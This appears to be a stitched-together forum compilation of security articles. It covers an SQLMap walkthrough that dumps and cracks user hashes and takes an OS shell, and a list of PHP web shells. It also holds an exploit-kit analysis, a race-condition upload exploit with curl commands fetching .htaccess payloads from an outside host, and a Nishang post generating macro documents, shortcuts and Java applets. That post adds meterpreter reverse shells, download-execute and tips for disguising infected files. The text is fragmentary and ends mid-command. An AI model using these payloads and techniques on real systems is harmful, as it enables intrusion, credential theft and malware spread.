5.2.4, Apache 2.2.8 Enumerating Database Names: Is SQL injection present? Yes! Now, moving to step 2, check for what all databases we can enumerate out of the application. Command: (Windows) python sqlmap.py --url="http://192.168.152.129/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=e8495b455c5ef26c415ab480425135ee" --dbs (Linux) ./sqlmap.py --url="http://192.168.152.129/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=e8495b455c5ef26c415ab480425135ee" --dbs Command Explained: –url: The vulnerable application’s URL –dbs: SQLMap option for database enumeration –cookie: Session cookie to maintain access while attacking Output: Figure 2: Enumerating databases using SQLMap Enumerating a database table names – (Database – dvwa) Database names – check! Select a specific database and enumerate the table names present in that database. NOTE: You are too lazy to perform all the steps and provided you have enough of time, then you can simply use “–dump-all” option to dump entire database. Command: (Windows) python sqlmap.py --url="http://192.168.152.129/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=e8495b455c5ef26c415ab480425135ee" -D dvwa --tables (Linux) ./sqlmap.py --url="http://192.168.152.129/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=e8495b455c5ef26c415ab480425135ee" -D dvwa --tables Command Explained: –url: The vulnerable application’s URL -D: Specify out of which database tables are to be enumerated –cookie: Session cookie to maintain access while attacking –tables: Tell SQLMap to enumerated table names present in the specified database Output: Figure 3: Enumerating Table Names from specific database Further enumeration of table – “users” – (Database – dvwa) Let’s go inside the table now and see what the vulnerable application is about to offer us. Command: (Windows) python sqlmap.py --url="http://192.168.152.129/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=e8495b455c5ef26c415ab480425135ee" -D dvwa -T users --columns (Linux) ./sqlmap.py --url="http://192.168.152.129/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=e8495b455c5ef26c415ab480425135ee" -D dvwa -T users --columns Command Explained: –url: The vulnerable application’s URL -D: Specify out of which database, tables are to be enumerated -T: Specify out of which table/s, columns are to be enumerated –columns: Tell SQLMap to enumerated column details present in the specified table –cookie: Session cookie to maintain access while attacking Output: Figure 4: Enumerating column details from a table “users” Enumeration of actual data (row entries) present in table – “users” – (Database – dvwa) Alright! So we have name of the database, name of the table and its columns. Now, we try to dump the data present in the table i.e. row-wise entries present in the table. Again, if you are lazy enough, then go for “–dump-all”, sit back and go on sipping your coffee. Command: (Windows) python sqlmap.py --url="http://192.168.152.129/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=e8495b455c5ef26c415ab480425135ee" -D dvwa -T users -C user_id,user,password --dump (Linux) ./sqlmap.py --url="http://192.168.152.129/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=e8495b455c5ef26c415ab480425135ee" -D dvwa -T users -C user_id,user,password --dump Command Explained: –url: The vulnerable application’s URL -D: Specify out of which database, tables are to be enumerated -T: Specify out of which table/s, columns are to be enumerated -C <list of columns>: List of columns from which the data is to be enumerated –dump: Tell SQLMap to dump all the entries –cookie: Session cookie to maintain access while attacking Output: Figure 5: Enumeration of table entries from table “users” SQLMap retrieves entries of the specified columns and then analyzes the data present in these columns. Once the data is recognized as possible password hashes, SQLMap tries to attempt to crack the hash using various hashing algorithm. In this case, the hash is MD5 hence, with very first hash technique which the tool uses i.e. ‘MD5’ it could successfully crack the hashes and could give a well formatted output. Also, the tool saves the enumerated entries inside a “.csv” format file for further usage; therefore, no need to dump data to a text file or to take a screenshot, SQLMap will take care of it. Further Exploitation:Like a critic, let’s ask ourselves what more we can do? The answer is let’s own the operating system. A slight change in the system setup, we have an ASP web application with simple login page which is vulnerable to SQL injection. Command: (Windows) python sqlmap.py --url="http://192.168.152.129/login.asp" --data="txtLoginID=shrikant&txtPassword=password&cmdSubmit=Login" --os-shell (Linux) ./sqlmap.py --url="http://192.168.152.129/login.asp" --data="txtLoginID=shrikant&txtPassword=password&cmdSubmit=Login" --os-shell Command Explained: –url: The vulnerable application’s URL –data: Specify the parameters to be tested which are flowing in POST request –os-shell: SQLMap will try to get the operating system command shell by exploiting SQL injection Output: Figure 6: Owning the operating system shell prompt Once confirmed and exploited SQL injection vulnerability in the application, SQLMap checked if the user is DBA or not, Once this is done, the tool tried to exploit an extended stored procedure which is typically used by SQL Server 2000, this procedure is “xp_cmdshell”, What is “xp_cmdshell”? It is used for executing a given command string as an operating-system command. In return, it gives the output as a standard text. In short, it grants non-administrative users permissions to execute OS shell, By exploiting this procedure, SQLMap tried to call Windows OS shell which indeed was successfully taken. Advantages of getting the deeper level access of the system: get the user credentials or password hashes to crack, get an interactive shell in place which will allow you to download or upload files, run OS level commands to explore internal network, install programs for further exploitation of victim’s network by creating camouflage, further exploitation using metasploit, create a backdoor in the victim system. [h=4]0wnage& Advance SQLMap Usage[/h] Operating System Level Access: [TABLE] [TR] [TD=width: 152]Switch[/TD] [TD=width: 372]Details[/TD] [/TR] [TR] [TD=width: 152]–os-cmd=OSCMD[/TD] [TD=width: 372]Run operating system level commands[/TD] [/TR] [TR] [TD=width: 152]–os-shell[/TD] [TD=width: 372]Invoke an interactive shell for communication[/TD] [/TR] [TR] [TD=width: 152]–os-pwn[/TD] [TD=width: 372]Injecting a Meterpreter shell or VNC[/TD] [/TR] [TR] [TD=width: 152]–os-smbrelay[/TD] [TD=width: 372]One click prompt for an OOB shell, meterpreter or VNC[/TD] [/TR] [TR] [TD=width: 152]–os-bof[/TD] [TD=width: 372]Stored procedure buffer overflow exploitation[/TD] [/TR] [TR] [TD=width: 152]–priv-esc[/TD] [TD=width: 372]Database process’ user privilege escalation[/TD] [/TR] [TR] [TD=width: 152]–msf-path=MSFPATH[/TD] [TD=width: 372]Local path where Metasploit Framework 3 is installed[/TD] [/TR] [/TABLE] File System Level Access: There are options which can be used to access the underlying file system of the database server. [TABLE] [TR] [TD=width: 152]Switch[/TD] [TD=width: 372]Details[/TD] [/TR] [TR] [TD=width: 152]–file-read=RFILE[/TD] [TD=width: 372]Read a file from the back-end DBMS file system[/TD] [/TR] [TR] [TD=width: 152]–file-write=WFILE[/TD] [TD=width: 372]Write a local file on the back-end DBMS file system[/TD] [/TR] [TR] [TD=width: 152]–file-dest=DFILE[/TD] [TD=width: 372]Back-end DBMS absolute filepath to write to[/TD] [/TR] [/TABLE] Windows Registry Access: These options can be used to access the back-end database management system’s Windows registry. [TABLE] [TR] [TD=width: 152]Switch[/TD] [TD=width: 372]Details[/TD] [/TR] [TR] [TD=width: 152]–reg-read[/TD] [TD=width: 372]Read a Windows registry key value[/TD] [/TR] [TR] [TD=width: 152]–reg-add[/TD] [TD=width: 372]Write a Windows registry key value data[/TD] [/TR] [TR] [TD=width: 152]–reg-del[/TD] [TD=width: 372]Delete a Windows registry key value[/TD] [/TR] [TR] [TD=width: 152]–reg-key=REGKEY[/TD] [TD=width: 372]Windows registry key[/TD] [/TR] [TR] [TD=width: 152]–reg-value=REGVAL[/TD] [TD=width: 372]Windows registry key value[/TD] [/TR] [TR] [TD=width: 152]–reg-data=REGDATA[/TD] [TD=width: 372]Windows registry key value data[/TD] [/TR] [TR] [TD=width: 152]–reg-type=REGTYPE[/TD] [TD=width: 372]Windows registry key value type[/TD] [/TR] [/TABLE] [h=4]Few Tricky Shots:[/h] Many times while performing penetration testing, there are lots of challenges which people take as hurdles. These days, there are different technologies used for application development which you need to understand while making strong strategies for testing. SQLMap and SOAP (Simple Object Access Protocol) request: Previously SQLMap couldn’t perform testing on SOAP requests but now this functionality has been added.The process to perform SOAP request analysis is quite simple: Capture your SOAP request Save it in a text file along with the possible vulnerable parameters (We’ll call it as So_request.txt). Use below command for SQLMap along with “-p” option if you are aware of the vulnerable parameter: ./sqlmap.py -r So_request.txt -p <vulnerable parameter> SQLMap will automatically parse the SOAP request and try to penetrate into the vulnerable parameter./li> SQLMap and JSON (JavaScript Object Notation) request: On similar lines of use of SQLMap for SOAP requests, JSON requests can be parsed and penetrated. For JSON type of request, SQLMap will prompt you a basic question stating that SQLMap has detected JSON type of request in the “request file” and if you’d like to continue? Once you answer yes, the tool will parse the request and go its own way of attacking. SQLMap and Proxy Server: In a typical corporate environment network, you have to deal with lots of approvals for proper network access and internet access. These types of networks are usually secured and monitored using controlled proxy servers for all the traffic coming in or going out. In such cases, you have an option to add a proxy setting straight to the SQLMap option for communicating to the target URL. Though SQLMap is a command-line tool, it communicates over HTTP protocol hence, if you set a HTTP proxy for respective internet connection, SQLMap would accept it for its work. Command:./sqlmap.py --proxy=”http://<proxy-ip>:<proxy-port>” SQLMap On WAF (Web Application Firewall): For additional security, a number of organizations have deployed web application firewalls (WAF). Now, this is a tricky part to exploit such an environment. Here, normal SQL injection attack vectors will not work neither will normal scripts. A feature called “tamper script” of SQLMap makes our life little easy on WAF front. Few steps to make use of this option are: Go to SQLMap directory where SQLMap resides Look for a child directory called “tamper” In this directory, there are python scripts to be used Else you can visit “https://github.com/sqlmapproject/sqlmap/tree/master/tamper” for more python scripts to use with tamper option Just check the names or copy the names of those files for your reference To verify or check the backend WAF protection in place, “–identify-waf” can be used If you have found the file online then copy it and save it in SQLMap’s “tamper” directory Command:./sqlmap.py <other options> --tamper=”<script-name>.py” Example scripts: space2hash.py, space2mysqlblank.py can be used when MySQL is an underlying database, charunicodeencode.py, percentage.py to hide payloads against ASP/ASP.NET applications Anonymity: When you want to hide your identity and introduce yourself as anonymous to the target application you can opt for TOR (The Onion Router) proxies.In SQLMap, you can set your TOR proxy for hiding the source from where the traffic or request is generated.Simple switches which make this job easy are: –tor : With this switch SQLMap will try to set the TOR proxy settings automatically –tor-port, –tor-type : can help you out to set the TOR proxy manually –check-tor : this will check if the tor setup is appropriate and functional [h=4]Points to Remember:[/h] It is important to make use of such a powerful tool responsibly and maturely. Such a tool in a novice’s hands could create a devastating effect on the target system as well as the enterprise. SQLMap generates too many queries and could affect the performance of the target database if used in wrong way. Strange entries and changes in database schema are possible if the tool is not controlled and used exhaustively. For a learner in application security, it is very much advised to have thorough knowledge of SQL injection attack and the background of the tool which is used. Because of this, the use of SQLMap on test systems and sample applications is a must before using it on production systems. [h=4]References:[/h] https://github.com/sqlmapproject/sqlmap/wiki/ -SQLMap Project by github 0entropy: sqlmap and tor – SQLMap and TOR https://www.mavitunasecurity.com/s/research/OneClickOwnage.pdf – One click 0wnage What is an SQL Injection? SQL Injections: An Introduction - InfoSec Institute- Introduction to SQL injection Sql Injection 0wning Enterprise – One click 0wnage using SQL map by Taufiq Ali [h=4]Conclusion:[/h] Automated tools or scripts such as SQLMap are making it easy to exploit an SQL Injection vulnerability and leverage it to completely break into the system and gain full control over it. The extreme flexibility and openness of SQLMap certainly has an edge over other automated tools. No longer is it possible for development teams to put in temporary and often ineffective quick fixes for SQL injection. The end-result of using SQL Map is often so damaging, that the developers have no choice but to fix these issues quickly and properly. Moreover, the use of SQLmap in the hands of an experienced pen-tester can allow him/her to penetrate much deeper into the network and gain almost complete access to the server segment. On occasionwe have even used this attack tool to get access right up to the CTO’s own laptop! Sursa: From SQL Injection To 0wnage Using SQLMap - Checkmate Analysis: From the output received from SQLMap, we can conclude following points: Analysis: From the output received from SQLMap, we can conclude following points: Analysis: As we can see from the screenshot, SQLMap could successfully enumerate 6 column details from the specified table “users” and database – dvwa. Analysis: As we can see from the screenshot, SQLMap could successfully enumerate 2 table names from the specified database – dvwa. Analysis: SQLMap enumerated names of available databases (overall 7 databases names) Analysis: By looking at the output given by SQLMap we can conclude following points:

... c99_w4cking.txt Downloads: 0, Size: 140 KB 2009-11-17 03:56:00 Crystal.txt Downloads: 0, Size: 55 KB 2009-11-17 03:54:42 ctt_sh.txt Downloads: 0, Size: 127 KB 2009-11-17 03:56:44 cybershell.txt Downloads: 0, Size: 34 KB 2009-11-17 03:58:15 dc.rar Downloads: 0, Size: 988 b 2009-11-17 03:56:54 dC3 Security Crew Shell PRiV.txt Downloads: 0, Size: 42 KB 2009-11-17 03:57:56 Dive Shell 1.0 - Emperor Hacking Team.txt Downloads: 0, Size: 5 KB 2009-11-17 03:58:17 dotnet.html Downloads: 0, Size: 507 b 2009-11-17 03:57:21 DTool Pro.txt Downloads: 0, Size: 14 KB 2009-11-17 03:54:46 Dx.txt Downloads: 0, Size: 109 KB 2009-11-17 03:56:39 erne.txt Downloads: 0, Size: 42 KB 2009-11-17 03:53:58 fso.txt Downloads: 0, Size: 160 KB 2009-11-17 03:57:19 GFS web-shell ver 3.1.7 - PRiV8.txt Downloads: 0, Size: 24 KB 2009-11-17 03:55:59 gfs_sh.txt Downloads: 0, Size: 63 KB 2009-11-17 03:58:17 h4ntu shell [powered by tsoi].txt Downloads: 0, Size: 2 KB 2009-11-17 03:58:10 heykir.txt Downloads: 0, Size: 2 KB 2009-11-17 03:56:10 iMHaPFtp.txt Downloads: 0, Size: 52 KB 2009-11-17 03:57:17 ironshell.txt Downloads: 0, Size: 18 KB 2009-11-17 03:57:08 JspWebshell 1.2.txt Downloads: 0, Size: 25 KB 2009-11-17 03:57:05 kacak.txt Downloads: 0, Size: 33 KB 2009-11-17 03:58:03 KAdot Universal Shell v0.1.6.txt Downloads: 0, Size: 5 KB 2009-11-17 03:58:10 kshell.html Downloads: 0, Size: 507 b 2009-11-17 03:58:09 lamashell.txt Downloads: 0, Size: 2 KB 2009-11-17 03:58:19 Liz0ziM Private Safe Mode Command Execuriton Bypass Exploit.txt Downloads: 0, Size: 1 KB 2009-11-17 03:58:09 liz0zim.txt Downloads: 0, Size: 1 KB 2009-11-17 03:57:39 load_shell.txt Downloads: 0, Size: 14 KB 2009-11-17 03:57:53 matamu.txt Downloads: 0, Size: 4 KB 2009-11-17 03:57:54 Moroccan Spamers Ma-EditioN By GhOsT.txt Downloads: 0, Size: 7 KB 2009-11-17 03:57:23 myshell.txt Downloads: 0, Size: 16 KB 2009-11-17 03:57:03 Mysql interface v1.0.txt Downloads: 0, Size: 33 KB 2009-11-17 03:56:52 MySQL Web Interface Version 0.8.txt Downloads: 0, Size: 34 KB 2009-11-17 03:56:19 mysql.txt Downloads: 0, Size: 51 KB 2009-11-17 03:56:57 mysql_tool.txt Downloads: 0, Size: 32 KB 2009-11-17 03:54:39 NetworkFileManagerPHP.txt Downloads: 0, Size: 119 KB ... Sursa: My Files

[h=3]Defaced websites leading to Dokta Chef Exploit Kit and CVE-2014-6332[/h] Defacing websites has been the main stay for hacktivist groups to spread their message. During recent research, we found multiple compromised websites containing a malicious link to a "lulz.htm" page, which in turn leads the user to a Dokta Chef Exploit Kit (EK) hosting site. This appears to be a new tactic whereby a hacktivist group has escalated their activities by attacking users who visit defaced sites. This is out of character for such groups that generally seem more interested in disrupting private sector compliance with government entities, than targeting end users. The contact information provided on the defacement page shows that the culprits of this attack are claiming to be part of the "AnonGhostTeam" group, based on the associated Twitter account. This group has targeted numerous Government and Mass Media websites in the past including: swo.gov.sy syrianpost.gov.sy myisrael.org.il madagascar.gov.mg skynewsinternational.com ccvs.state.vt.us txep.uscourts.gov rsb.wp.mil.pl navy.gov.au igc.mowr.gov.iq embavenez.co.uk libyanembassy-italy.gov.ly [TABLE=class: tr-caption-container, align: center] [TR] [TD=align: center][/TD] [/TR] [TR] [TD=class: tr-caption, align: center]The defaced pages have been lifted in most cases, leaving only a Zone-H mirror[/TD] [/TR] [/TABLE] [TABLE=class: tr-caption-container, align: center] [TR] [TD=align: center][/TD] [/TR] [TR] [TD=class: tr-caption, align: center]Written in Beautiful Comic Sans[/TD] [/TR] [/TABLE] The defaced websites were found to be hosting a page called "lulz.htm", that contains highly obfuscated JavaScript code leading the users to a Dotka Chef EK infection cycle. [TABLE=class: tr-caption-container, align: center] [TR] [TD=align: center][/TD] [/TR] [TR] [TD=class: tr-caption, align: center]Obfuscated JavaScript on the compromised sites[/TD] [/TR] [/TABLE] CVE-2014-6332 exploit The Dokta Chef EK, was serving a malicious payload for a recently disclosed Microsoft Vulnerability CVE-2014-6332, that causes remote code execution when the user visits a specially crafted webpage using Internet Explorer (IE). The vulnerability is triggered when IE improperly accesses Object Linking and Embedding (OLE) objects in the memory. The vulnerable code has been present in OleAut32 library since IE version 3.0 and was recently fixed - MS14-064 The attacker is targeting only the 32-bit Windows Operating systems and also ensuring that the user's browser is IE, as seen in the exploit code snippet above. The exploit cycle will terminate if any of the following conditions are true: User is browsing from a 64-bit Windows Operating system User is browsing from a non-Windows Operating system, User's browser is not IE If the IE version used by the victim is lower than 4, the runshellcode() routine will be invoked, skipping the CVE-2014-6332 exploit cycle. If the version used is higher than 3, setnotsafemode() routine is invoked to exploit the CVE-2014-6332 vulnerability. The CVE-2014-6332 vulnerability is triggered by using an abnormally large array in conjunction with the redim Preserve function, as shown in the VBScript exploit code snippet above. At the time of research, the end payload was not reachable, but the VirusTotal Scan of the hostname shows a history of dubious activity. The Zscaler ThreatLabZ team has deployed multiple protections against this threat and is actively monitoring the malicious activity surrounding this mass compromise. Posted by Chris Mannon at 1:37 PM Sursa: Zscaler Research: Defaced websites leading to Dokta Chef Exploit Kit and CVE-2014-6332

Hacking file uploaders with race condition TL;DR I use a race condition to upload two avatars at the same time to exploit another Paperclip bug and get remote code execution on Apache+Rails stacks. I believe many file uploaders are vulnerable to this. It's fun, go ahead! 10 months ago I wrote about a simple but powerful bug in Paperclip <=3.5.3 (we can upload a file with arbitrary extension by spoofing Content-Type header). Thoughtbot mentioned this problem on their blog in quite a misleading way - "a slight problem". Considering it as an XSS only - yes, a slight problem. But as I said before we can get a code execution with it. Now when hopefully all your systems are patched I will try to explain an interesting attack scenario for Apache+Rails stacks. .htaccess as a shell Most likely .php/.pl are not executed by default because you are using Rails. But I bet you know about .htaccess file which can override Apache settings. And by default Apache 2.3.8 and earlier had AllowOverride All making the server respect .htaccess directives. At first I was trying to create a self-containing .htaccess shell but for some reason it doesn't work anymore. Apache doesn't apply SSI processor to .htaccess itself but does to %name%.htaccess: <Files ~ "^\.ht"> Require all granted # Order allow,deny # Allow from all </Files> Options +Includes AddType text/html .htaccess AddOutputFilter INCLUDES .htaccess AddType text/html .shtml AddOutputFilter INCLUDES .shtml #<!--#printenv --> This means we need to create two files (upload two avatars) - .htaccess and 1.htaccess - and they must exist at the same time. Impossible? No, welcome to the world of concurrency! The core flaw of file upload systems. While I was doing a research on race conditions I noticed that every file uploader is basically a voucher system. Once user is registered he has a "voucher" to upload one avatar. When the upload is done the previous avatar gets deleted. But the majority of such systems don't create a critical section carefully which let's us upload two or more avatars at the same time. Given current_avatar is 0.jpg we are making, say, 5 simultaneous requests with filenames 1.jpg, 2.jpg, 3.jpg, 4.jpg, 5.jpg Each of them will put %num%.jpg in the /uploads/user/%id% folder and try to delete the previous avatar (something like File.rm current_user.current_avatar) which is still 0.jpg. The last executed request will change current_avatar to 5.jpg (can be 1-4.jpg as well, it's random) in the database. Eventually the folder with user avatars will contain 1.jpg, 2.jpg, 3.jpg, 4.jpg, 5.jpg and first four will never be deleted. This can be used to waste disk space of the victim Exploitation steps 1. Prepare a URL delivering .htaccess payload. Or just use mine http://sakurity.com/.htaccess and http://sakurity.com/NUM.htaccess 2. Create a few simultaneous avatar uploading requests with your preferred tool. If you like curl: this will send five 1..5.htaccess uploads and five .htaccess uploads (just to have more chances for .htaccess) for i in {1..5}; do curl 'http://lh:9292/users' -H <HEADERS> --data 'utf8=%E2%9C%93&_method=put&authenticity_token=TOKEN%3D&user%5Bavatar%5D=http%3A%2F%2Fsakurity.com%2F'"$i"'.htaccess' & curl 'http://lh:9292/users' -H <HEADERS> --data 'utf8=%E2%9C%93&_method=put&authenticity_token=TOKEN%3D&user%5Bavatar%5D=http%3A%2F%2Fsakurity.com%2F.htaccess' & done The folder with uploads will look like this. Not all requests "made it", because I created just 8 workers (puma -w 8) Shell is available at http://lh:9292/system/users/avatars/000/000/001/original/1.htaccess P.S. Post "Wonders of Race Conditions" is coming soon. From basic hacking of account balances to bypassing "you have 5 more login attempts" and file upload systems. Concurrency is fun! Author: Egor Homakov on 5:27 AM Sursa: Egor Homakov: Hacking file uploaders with race condition

Acrobat Reader Windows sandbox is affected by critical flaw by Pierluigi Paganini on November 30th, 2014 A researcher at Google discovered a critical flaw in Windows Acrobat Reader 11 Sandbox that could be exploited to access a system and gain higher privileges Google security researcher James Forshaw claims that the Acrobat Reader Windows sandbox is affected by critical vulnerability that could allow attackers to compromise a system and gain higher privileges. “The Acrobat Reader Windows sandbox is vulnerable to NTFS junction attack to write an arbitrary file to the filesystem under user permissions. This could be used to break out of the sandbox leading to execution at higher privileges.” states Forshaw in an advisory for version 11.0.8 (10.* not tested). The vulnerability discovered by the researcher is a race condition in the handling of the MoveFileEx call hook. The race can be won by the sandboxed process by using an OPLOCK to wait for the point where the MoveFileEx function opens the original file. Winning the race condition, the code in the sandbox could write an arbitrary file on the file system. The flaw is similar to another vulnerability previously discovered in the NtSetInformationFile, but it is different because it exploited a time of check to time of use race, this is possible because the broker opened the file rather than the sandboxed process. “While this is similar to the previous reported issue with NtSetInformationFile it’s different in that it doesn’t rely on the bug in the processing of the filepath instead exploits a TOCTOU race. It’s only possible in this case to race as it’s the broker which opens the file rather than the sandboxed process. It would probably be recommended to ensure that you cannot creation junctions ever, although this isn’t trivial in all cases where you passing back raw handles to the callee.” Forshaw adds. Forshaw included in the post a the source for proof-of-concept on the sandscape escape that on successful exploitation would create a file named ‘abc’ on the desktop. Pierluigi Paganini (Security Affairs – Windows Acrobat Reader 11 Sandbox, hacking) Sursa: Acrobat Reader Windows sandbox is affected by critical flaw | Security Affairs

Using PowerShell for Client Side Attacks This blog post details everything I spoke about at DeepSec [ slides here] plus much more. here. tl;dr: Try the new scripts from Nishang Why using Client Side Attacks with PowerShell? When I started working on this, I just thought of using PowerShell scripts and payloads for client side attacks and not of the generator scripts. There are many awesome Social Engineering tools out there, then why PowerShell? There are many reasons, first and foremost, coding a tool not only helps in understanding the attacks but also improves the grasp over that language. Other reasons, like the tremendous power with PowerShell, easy availability on Windows targets, no or low detection rate, easy post exploitation also motivated me. With this blog post, a newer version of Nishang with "Client" category of attacks is also being released. Lets have a look at the scripts one-by-one. Out-Word Out-Word, as the name suggests, outputs a MS Word file with auto executable macro which runs given PowerShell commands and scripts. Lets see it in action. PS C:\nishang> . .\Out-Word.ps1 PS C:\nishang> Out-Word -Payload "powershell.exe -ExecutionPolicy Bypass -noprofile -noexit -c Get-Process" Above command, writes a Word file called Salary_Details.doc in the current directory. When the file is opened, the PowerShell command Get-Process will be executed on the target. We could also use PowerShell one-liner download-execute to execute scripts on the target. For example, lets pass the PowerShell code generated using msfpayload (./msfpayload windows/x64/meterpreter/reverse_tcp LHOST=192.168.254.183 exitfunc=thread R | ./msfencode -t psh > powershell_payload.ps1) PS C:\nishang> Out-Word -PayloadURL http://192.168.254.1/powershell_payload.ps1 Now, if a target opens up the doc generated by above command, it would download and execute the PowerShell script resulting in a nice meterpreter session. Great! We could also pass arguments to the script. This is helpful if the script being executed loads a function. This holds true for Nishang and other PowerShell security related toolkits too. PS C:\nishang> Out-Word -Payload "http://192.168.254.1/Get-Information.ps1" -Arguments Get-Information In the above command, we have passed the name of the function loaded by Get-Information.ps1 as an argument to actually execute the functionality of the script, Otherwise, it would end up just loading the function. Alternatively, we can make a function call in the script itself. The ability to pass arguments is also useful if we want to use a script module like Powerpreter with Out-Word. Lets try calling a backdoor function from Powerpreter. PS C:\nishang> Out-Word -Payload "http://192.168.254.1/Powerpreter.psm1" -Arguments HTTP-Backdoor http://pastebin.com/raw.php?i=jqP2vJ3x http://pastebin.com/raw.php?i=Zhyf8rwh start123 stopthis We could also use Encoded scripts with the Out-Word to avoid communication with the Internet as in case with the above method. The Macro code seems to insert a new line if a long EncodedCommand is passed to it, which breaks the code. We could use the compression and encoding available with Invoke-Encode in Nishang to generate a much smaller command for an encoded string. Use –PostScriptCommand switch to use it. It is based on the Compress-Post script by Carlos here. We must properly escape the single quotes (‘) in the generated command to be able to use it with Out-Word. PS C:\nishang> Invoke-Encode .\Get-WLAN-Keys.ps1 –PostScriptCommand PS C:\nishang> Out-Word –Payload ‘powershell -ExecutionPolicy Bypass -noprofile -c Invoke-Expression $(New-Object IO.StreamReader ($(New-Object IO.Compression.DeflateStream ($(New-Object IO.MemoryStream (,$([Convert]::FromBase64String(''dZJRb9MwEMffLfk7nLI+tBJJxhNSRSuVUVC10kZL0UCAJje5xmaOHdmXtdPGd8dpqmnA8Itl3/1//zv7dq0pSFkDH5Hiay1MfIn3Hjh74OztGWdJ/nW1zvJFztlKeSlMBZm411aUsJeqkFC2dePhthPtrIPr5WwFjbM7pdEnnAXC+3l+cbXINov1irONVB6aE+GZVhkoNAoHhAc6kry4w/If3kbik7xuPcEWwbUGds7WIDyIslZGeXKCAoMsVEhAQdS59PXMv8w+Zcs5Z1kO077vYHLs+xhfLlaXnEmiZpymjfWysCUm1lXp6zfn533Eh1ClSLbbpLB16kUdDIWX9jY1/TNxdjbtcN8u6lIjvVOmVKYajn4EX+FEDcNRF4awBvvw7h4mYJC8hO4EAbV/6hseIUeNBcU5uUCBOBNE6AxEM63hs0cHWZ8bhdwP1qEoZLze/gwaeBjcJBvbK4ejXydPPDTWURmqDsanCl6UXmGjRYHDqJP9bdfdwRiiVwPTav0S/MicP2f+t0sjapxEg5uo+6zJcRx6IGdh/3NAp8HE3I0J6+Z7h0roQJz9Bg=='')))), [iO.Compression.CompressionMode]::Decompress)), [Text.Encoding]::ASCII)).ReadToEnd();’ Notice the escaping of single quotes using two single quotes in the compressed script. Still, I was unable to use big scripts with this option. Your mileage may vary. There is more to Out-Word than this. It could also be used to infect/arm/weaponize - I love the word weaponize *giggles* - existing Word files on a machine. It does so by creating copies of the existing files loaded with the auto executable macro. We just need to pass –WordFileDir parameter with it.The data in the original Word is also copied in the new one. PS C:\nishang> Out-Word -PayloadURL http://192.168.254.1/Evil.ps1 –WordFileDir C:\docfiles\ Use –Recurse parameter to perform the action recursively. Use the –RemoveDocx parameter to remove the original docx files. Macro Security with Out-Word: It disables the Macro Security on the machine the computer on which it is executed. That is, if you execute the PowerShell script on the target, the user will not see any warning about Macros. If you send the generated Word doc to the user, he will see the usual macro warning. Disabling Macro security is necessary otherwise we would be unable to write macros to the Word file. To safely use Out-Word, we could use –RemainSafe parameter which re-enables the macro security after doing the stuff. Now, imagine we get access to a fileserver and want to infect files there and increase the chances of users opening the infected files. Out-Word uses couple of small but smart tricks to try fooling users in case –WordFileDir is being used. 1. It copies the LastWriteTime from the .docx files and assign it to the generated .doc file. So at least to a normal user, the .doc files would not appear to be something newly appeared. 2. If the extensions for known file types are hidden on the machine, Out-Word adds .docx extension to the generated infected doc files. For example, for a file IT-Assets.docx it generates an infected file IT-Assets.docx.doc. The Macro code for both Out-Word and Out-Excel has been directly taken from Matt’s code here. Check out his blog for more interesting work on using PowerShell for client side attacks. Also, see this post by by Matthew Grabber on analysing Powerworm, couple of whose features have been implemented in Out-Word. Out-Excel Out-Excel works exactly same for Excel files as Out-Word for Word files. All the options and features are available for Out-Excel as well. We may have a better chance of a user trusting Macros in Excel than in Word. Out-Shortcut Lets see another interesting script, Out-Shortcut. It creates a shortcut which could be used to execute command and scripts on a target computer. It could be used for executing commands: PS C:\nishang> . .\Out-Shortcut.ps1<br /> PS C:\nishang> Out-Shortcut -Payload " -ExecutionPolicy Bypass -noprofile -c Get-Service" Note the absence of powershell.exe in the payload above. Out-Shortcut could also be used for every attack method discussed above. Lets discuss features exclusive to Out-Shortcut. It is easier to use encodedcomands with Out-Shortcut. We could just use Invoke-Encode with –OutCommand parameter and pass the generated encoded script to Out-Shortcut as below: PS C:\nishang> Out-Shortcut -Payload " –EncodedCommand []" Out-Shortcut assigns a default hotkey ‘F5’ to the Shortcut. This executes Shortcut whenever the key is pressed until the file is either deleted or machine reboot. A small but useful trick It also assigns icon of “explorer.exe” to the created shortcut. We could change both the options using –Hotkey and –Icon parameters as shown below: PS C:\nishang> Out-Shortcut -PayloadUrl "http://192.168.254.1/Get-Information.ps1" -HotKey 'F3' -Icon 'notepad.exe' Note that, the Hotkey works only if the script is executed on the target. Out-Shortcut is inspired from the attack mentioned in this blog at Trend Micro. Out-Java Out-Java could be used for Java Applet attacks. The script generates a signed JAR and HTML which uses the applet tag to load the JAR. The JAR and HTML need to be hosted on a web server and as soon as the target opens that URL, we would be in! The script by-default self signs the JAR. We must have JDK on our machine to be able to compile and sign the Java code. As other scripts in Nishang’s client side attack category, Out-Java is able to execute commands, encoded scripts and download-execute scripts. Here’s a simple example: PS C:\nishang> Out-Java -Payload "Get-Process" -JDKPath "C:\Program Files\Java\jdk1.7.0_25" Again, we could pass encoded PowerShell scripts, even the bigger ones, without any issue. If we the –NoSelfSign parameter, a non-signed JAR is generated which could later be signed with a trusted certificate. The Java code uses Operating System architecture detection and calls 32-bit PowerShell even on 64-bit computers. So, in case we need to execute shellcode, it could always be 32-bit. For example, lets generate a 32-bit reverse_tcp meterpreter in PowerShell and pass it to Out-Java. Use (./msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.254.183 exitfunc=thread R | ./msfencode -t psh > powershell_payload.ps1). Encode it with Invoke-Encode with –OutCommand parameter and: PS C:\nishang> Out-Java -JDKPath "C:\Program Files\Java\jdk1.7.0_25" Payload "-EncodedCommand 